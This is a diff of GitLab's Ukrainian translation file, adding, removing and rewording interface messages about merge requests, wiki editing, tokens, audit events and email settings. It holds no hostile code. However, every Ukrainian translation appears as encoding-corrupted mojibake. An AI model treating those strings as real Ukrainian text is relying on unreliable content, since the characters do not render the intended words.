-msgstr "Ð¡Ñ‚Ð°Ð´Ñ–Ñ Ð—Ð°Ð´Ð°Ñ‡Ð° показує, Ñкільки чаÑу потрібно від ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð·Ð°Ð´Ð°Ñ‡Ñ– до Ð²ÐºÐ»ÑŽÑ‡ÐµÐ½Ð½Ñ Ñ—Ñ— до ÑкогоÑÑŒ етапу, або Ð´Ð¾Ð´Ð°Ð²Ð°Ð½Ð½Ñ Ð·Ð°Ð´Ð°Ñ‡Ñ– на дошку. Почніть Ñтворювати задачі, щоб переглÑдати дані Ð´Ð»Ñ Ñ†Ñ–Ñ”Ñ— Ñтадії."
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr "Ваш ліцензійний ключ недійÑний. ПереконайтеÑÑ, що він збігаєтьÑÑ Ð· тим, що ви отримали від GitLab Inc."
@@ -33041,18 +32855,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr "Фаза життєвого циклу розробки."
-
msgid "The pipeline has been deleted"
msgstr "Конвеєр було видалено"
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr "Розклад конвеєрів запуÑкає Ñ—Ñ… в майбутньому, Ð´Ð»Ñ Ð¿ÐµÐ²Ð½Ð¸Ñ… гілок або тегів. Заплановані конвеєри уÑпадковують Ð¾Ð±Ð¼ÐµÐ¶ÐµÐ½Ð½Ñ Ð½Ð° доÑтуп до проєкту на оÑнові пов'Ñзаного з ними кориÑтувача."
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr "Ð¡Ñ‚Ð°Ð´Ñ–Ñ ÐŸÐ»Ð°Ð½ÑƒÐ²Ð°Ð½Ð½Ñ Ð²Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶Ð°Ñ” Ñ‡Ð°Ñ Ð²Ñ–Ð´ попереднього кроку до першого коміту. ДодаєтьÑÑ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡Ð½Ð¾, Ñк тільки відправитьÑÑ Ð¿ÐµÑ€ÑˆÐ¸Ð¹ коміт."
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr "Приватний ключ, Ñкий викориÑтовуєтьÑÑ Ð¿Ñ€Ð¸ наданні клієнтÑького Ñертифіката. Його Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ Ð·Ð°ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¾."
@@ -33116,9 +32924,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr "Ð¡Ñ‚Ð°Ð´Ñ–Ñ ÐŸÐµÑ€ÐµÐ²Ñ–Ñ€ÐºÐ° показує Ñ‡Ð°Ñ Ð²Ñ–Ð´ ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð·Ð°Ð¿Ð¸Ñ‚Ñƒ про об'Ñ”Ð´Ð½Ð°Ð½Ð½Ñ Ð´Ð¾ його виконаннÑ. Дані будуть автоматично додані піÑÐ»Ñ Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð½Ñ Ð¿ÐµÑ€ÑˆÐ¾Ð³Ð¾ запиту на злиттÑ."
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -33137,12 +32942,12 @@ msgstr "Цей Ñніпет видимий тільки Ð´Ð»Ñ ÑƒÑ‡Ð°ÑникіÐ
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
+msgid "The source branch will be deleted"
+msgstr ""
+
msgid "The specified tab is invalid, please select another"
msgstr "Вказана вкладка недійÑна. Будь лаÑка, виберіть іншу"
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
-msgstr "Ð¡Ñ‚Ð°Ð´Ñ–Ñ Staging показує Ñ‡Ð°Ñ Ð¼Ñ–Ð¶ Ð²Ð¸ÐºÐ¾Ð½Ð°Ð½Ð½Ñ Ð·Ð°Ð¿Ð¸Ñ‚Ñƒ на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ñ‚Ð° розгортаннÑм коду у production. Дані автоматично додаютьÑÑ Ð¿Ñ–ÑÐ»Ñ Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ Ñƒ production вперше."
-
msgid "The start date must be ealier than the end date."
msgstr ""
@@ -33155,9 +32960,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr "Ð¡Ñ‚Ð°Ð´Ñ–Ñ Ð¢ÐµÑÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð¿Ð¾ÐºÐ°Ð·ÑƒÑ” чаÑ, Ñкий GitLab CI витрачає Ð´Ð»Ñ Ð²Ð¸ÐºÐ¾Ð½Ð°Ð½Ð½Ñ ÐºÐ¾Ð¶Ð½Ð¾Ð³Ð¾ конвеєра Ð´Ð»Ñ Ð²Ñ–Ð´Ð¿Ð¾Ð²Ñ–Ð´Ð½Ð¾Ð³Ð¾ запиту злиттÑ. Дані будуть автоматично додані піÑÐ»Ñ Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð½Ñ Ð¿ÐµÑ€ÑˆÐ¾Ð³Ð¾ конвеєра."
-
msgid "The time taken by each data entry gathered by that stage."
msgstr "ЧаÑ, витрачений на кожен елемент, зібраний на цій Ñтадії."
@@ -33167,9 +32969,6 @@ msgstr "Ð§Ð°Ñ Ð´Ñ–Ñ— Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ñплине через %{number_of_min
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr "Збір даних про викориÑÑ‚Ð°Ð½Ð½Ñ Ð²Ð¸Ð¼ÐºÐ½ÐµÐ½Ð¾, Ñ– це не можна налаштувати через цю форму."
-
msgid "The user is being deleted."
msgstr "КориÑтувач видалÑєтьÑÑ."
@@ -33188,9 +32987,6 @@ msgstr "КориÑтувач Ñкого ви збираєтеÑÑ Ð´ÐµÐ°ÐºÑ‚Ð¸Ð²
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr "Середнє Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ Ð² Ñ€Ñдку. Приклад: між 3, 5, 9, Ñередніми 5, між 3, 5, 7, 8, Ñередніми (5 + 7) / 2 = 6."
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -33332,9 +33128,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr "Проблема Ð¿Ñ–Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð½Ñ Ð´Ð¾ вашого приÑтрою."
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33455,6 +33248,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr "Помилка при завантаженні ÐºÐ°Ð»ÐµÐ½Ð´Ð°Ñ€Ñ Ð°ÐºÑ‚Ð¸Ð²Ð½Ð¾ÑÑ‚Ñ– кориÑтувачів."
@@ -33530,6 +33326,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° з reCAPTCHA. Будь лаÑка, пройдіть reCAPTCHA знову."
@@ -33563,8 +33362,8 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
-msgstr "Сторонні пропозиції"
+msgid "Third-party offers"
+msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr "Ð¦Ñ %{issuableDisplayName} заблокована. Лише учаÑники проєкту можуть коментувати."
@@ -33659,6 +33458,9 @@ msgstr "ВидиміÑÑ‚ÑŒ цієї дошки обмежена"
msgid "This chart could not be displayed"
msgstr "Ð¦Ñ Ð´Ñ–Ð°Ð³Ñ€Ð°Ð¼Ð° не може бути відображена"
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33698,9 +33500,6 @@ msgstr "Цей приÑтрій ще не було зареєÑтровано н
msgid "This diff is collapsed."
msgstr "Це порівнÑÐ½Ð½Ñ Ð·Ð³Ð¾Ñ€Ð½ÑƒÑ‚Ð¾."
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr "Ð¦Ñ Ñ€Ñ–Ð·Ð½Ð¸Ñ†Ñ Ð±ÑƒÐ»Ð° прихована через Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð² .gitattributes."
-
msgid "This directory"
msgstr "Цей каталог"
@@ -33785,7 +33584,7 @@ msgstr "Це ÑпиÑок приÑтроїв, з котрих заходили Ð
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34528,9 +34327,15 @@ msgstr "Ð”Ð»Ñ Ð¿Ñ–Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð½Ñ Ñ€ÐµÐ¿Ð¾Ð·Ð¸Ñ‚Ð¾Ñ€Ñ–Ñ—Ð² з GitHub, ви Ñ
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr "Ð”Ð»Ñ Ð¿Ñ€Ð¸Ñ”Ð´Ð½Ð°Ð½Ð½Ñ SVN-репозиторію, переглÑньте %{svn_link}."
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr "Ð”Ð»Ñ Ð²Ð¸Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ Ð²Ð½ÑƒÑ‚Ñ€Ñ–ÑˆÐ½Ñ–Ñ… кориÑтувачів, Ñпочатку вÑтановіть Ð´Ð»Ñ Ð½Ð¾Ð²Ð¸Ñ… кориÑтувачів \"зовнішній по замовчанню\""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34615,9 +34420,6 @@ msgstr "Щоб налаштувати автентифікацію SAML Ð´Ð»Ñ Ð
msgid "To set up this service:"
msgstr "Ðалаштувати цей ÑервіÑ:"
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr "Щоб визначити рівень Ñповіщень Ð´Ð»Ñ Ð¿Ñ€Ð¾Ñ”ÐºÑ‚Ñ–Ð² груп, до Ñких ви належите, вам потрібно відвідати Ñторінку проєкту та змінити рівень Ñповіщень там."
@@ -34717,9 +34519,18 @@ msgstr "Вмикає/вимикає %{name} Ñмайлик-нагороду."
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr "Завтра"
@@ -34732,6 +34543,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr "Теми (додатково)"
@@ -34780,6 +34594,15 @@ msgstr "ВідÑтеженнÑ"
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr "ВідÑтежуйте групи задач зі Ñпільною темою з різних проєктів та етапів"
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr "ВідÑтежуйте Ñ‡Ð°Ñ Ð·Ð° допомогою швидких дій"
@@ -35261,12 +35084,6 @@ msgstr "Ðа жаль, ваше Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ ÐµÐ»ÐµÐºÑ‚Ñ€Ð¾Ð½Ð½Ð¾Ñ—
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr "Видалити"
-
-msgid "Uninstalling"
-msgstr "ВидаленнÑ"
-
msgid "Units|ms"
msgstr ""
@@ -35357,21 +35174,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr "СкаÑувати заплановане завданнÑ"
@@ -35507,9 +35309,6 @@ msgstr "Оновлено"
msgid "Updated %{updated_at} by %{updated_by}"
msgstr "Оновлено %{updated_at} %{updated_by}"
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr "ОновленнÑ"
@@ -35846,9 +35645,15 @@ msgstr "ВикориÑтовуйте %{code_start}::%{code_end} Ð´Ð»Ñ ÑтвоÑ
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35978,6 +35783,9 @@ msgstr "КориÑтувача уÑпішно видалено із проєкт
msgid "User was successfully updated."
msgstr "КориÑтувача було уÑпішно оновлено."
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -36275,9 +36083,6 @@ msgstr "Перевірки не пройшли уÑпішно."
msgid "Value"
msgstr "ЗначеннÑ"
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -36287,9 +36092,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -36371,9 +36182,6 @@ msgstr "Різноманітні налаштуваннÑ, що впливают
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr "Ð†Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ñ–Ñ Ð¿Ñ€Ð¾ перевірку"
-
msgid "Verification status"
msgstr "Стан перевірки"
@@ -36463,6 +36271,9 @@ msgstr "ПереглÑнути повну панель керуваннÑ"
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr "ПереглÑнути мітки групи"
@@ -36481,9 +36292,6 @@ msgstr "ПереглÑнути це на GitLab"
msgid "View job"
msgstr "ПереглÑнути завданнÑ"
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr "ПереглÑнути журнал завданнÑ"
@@ -36517,6 +36325,9 @@ msgstr ""
msgid "View project"
msgstr "ПереглÑнути проєкти"
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr "ПереглÑнути мітки проєкту"
@@ -36586,8 +36397,11 @@ msgstr "Ðевідомий"
msgid "Visit settings page"
msgstr "Відвідати Ñторінку налаштувань"
-msgid "Visual Studio Code"
-msgstr "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
+msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
msgstr "%{stepStart}Крок 1%{stepEnd}. Скопіюйте наÑтупний Ñкрипт:"
@@ -36727,8 +36541,8 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
-msgstr "Ð’ÑÑ–"
+msgid "VulnerabilityStatusTypes|All statuses"
+msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr "Підтверджені"
@@ -36859,6 +36673,9 @@ msgstr "Увага:"
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -37159,6 +36976,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr "Що ви шукаєте?"
@@ -37168,6 +36994,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -37178,7 +37007,7 @@ msgid "What is your job title? (optional)"
msgstr ""
msgid "What's new"
-msgstr ""
+msgstr "Що нового"
msgid "What's new is disabled and can no longer be viewed."
msgstr ""
@@ -37370,7 +37199,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37391,6 +37220,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37406,16 +37238,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37430,10 +37262,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37703,6 +37541,9 @@ msgstr "Ви можете Ñтворити нові в налаштуваннÑÑ
msgid "You can easily contribute to them by requesting to join these groups."
msgstr "Ви можете легко робити внеÑки до них, запроÑивши доÑтуп до цих груп."
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37742,9 +37583,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr "Ви можете тепер відправити запит на злиттÑ, щоб Ñ†Ñ Ð·Ð¼Ñ–Ð½Ð° попала у вихідну гілку."
@@ -37922,21 +37760,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -38000,9 +37835,6 @@ msgstr "Вам потрібно вказати дійÑний поточний Ð
msgid "You must provide your current password in order to change it."
msgstr "Вам потрібно вказати поточний пароль Ð´Ð»Ñ Ð¹Ð¾Ð³Ð¾ зміни."
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -38162,12 +37994,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr "Ваша адреÑа електронної пошти Ð´Ð»Ñ ÐºÐ¾Ð¼Ñ–Ñ‚Ñ–Ð² буде викориÑтовуватиÑÑ Ð´Ð»Ñ Ð±Ñ€Ð°ÑƒÐ·ÐµÑ€Ð½Ð¸Ñ… операцій, таких Ñк Ñ€ÐµÐ´Ð°Ð³ÑƒÐ²Ð°Ð½Ð½Ñ Ñ‚Ð° злиттÑ."
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr "Ваша адреÑа електронної пошти за замовчуваннÑм Ð´Ð»Ñ Ñповіщень буде викориÑтовуватиÑÑ Ð´Ð»Ñ Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½ÑŒ відноÑно облікового запиÑу, Ñкщо %{openingTag}Ñпецифічна Ð´Ð»Ñ Ð³Ñ€ÑƒÐ¿Ð¸ адреÑа%{closingTag} не налаштована."
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -38195,18 +38021,12 @@ msgstr "Ваша ліцензіÑ"
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr "Ваша оÑновна адреÑа електронної пошти буде викориÑтовуватиÑÑ Ð´Ð»Ñ Ð²Ð¸Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ Ð°Ð²Ð°Ñ‚Ð°Ñ€Ñƒ."
-
msgid "Your Projects (default)"
msgstr "Ваші проєкти (за замовчуваннÑм)"
msgid "Your Projects' Activity"
msgstr "ÐктивніÑÑ‚ÑŒ ваших проєктів"
-msgid "Your Public Email will be displayed on your public profile."
-msgstr "Ваша публічна адреÑа електронної пошти буде відображатиÑÑ Ð² публічному профілі."
-
msgid "Your SSH key has expired"
msgstr ""
@@ -38219,12 +38039,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr "Ваші ключі SSH (%{count})"
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr "Ваш ÑпиÑок нагадувань"
@@ -38294,12 +38108,18 @@ msgstr "Ðе вдалоÑÑ Ð¾Ð½Ð¾Ð²Ð¸Ñ‚Ð¸ ваш коментар! Переві
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr "Ваша панель ÐºÐµÑ€ÑƒÐ²Ð°Ð½Ð½Ñ Ð±ÑƒÐ»Ð° Ñкопійована. Ви можете %{web_ide_link_start}відредагувати Ñ—Ñ— тут%{web_ide_link_end}."
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr "Ваша панель ÐºÐµÑ€ÑƒÐ²Ð°Ð½Ð½Ñ Ð±ÑƒÐ»Ð° оновлена. Ви можете %{web_ide_link_start}відредагувати Ñ—Ñ— тут%{web_ide_link_end}."
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr "Ваші ÑервіÑи Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ Ð±ÑƒÐ´ÑƒÑ‚ÑŒ порушені, вам необхідно буде вручну Ñ—Ñ… виправити піÑÐ»Ñ Ð¿ÐµÑ€ÐµÐ¹Ð¼ÐµÐ½ÑƒÐ²Ð°Ð½Ð½Ñ."
@@ -38384,6 +38204,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr "Ваш профіль"
@@ -38393,6 +38216,9 @@ msgstr "Ваш ліміт проєктів Ñкладає %{limit}! Будь лÐ
msgid "Your projects"
msgstr "Ваші проєкти"
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38487,6 +38313,9 @@ msgstr "невдача дозволена"
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38544,12 +38373,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38574,6 +38412,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr "не може бути активовано, Ñкщо не вÑÑ– домени мають Ñертифікати TLS"
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr "не може бути змінено"
@@ -38592,9 +38433,6 @@ msgstr "не може блокувати Ñам Ñебе"
msgid "cannot merge"
msgstr "не може виконувати злиттÑ"
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38899,6 +38737,9 @@ msgstr "неможливо зчитати приватний ключ, чи Ñ” Ð
msgid "created"
msgstr "Ñтворено"
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38989,6 +38830,9 @@ msgstr "увімкнено"
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr "зашифровано: має бути :required, :optional або :migrating!"
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr "елементи не можуть бути довшими за 255 Ñимволів"
@@ -39072,9 +38916,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr "група"
@@ -39464,6 +39305,9 @@ msgstr "ЗлиттÑ"
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
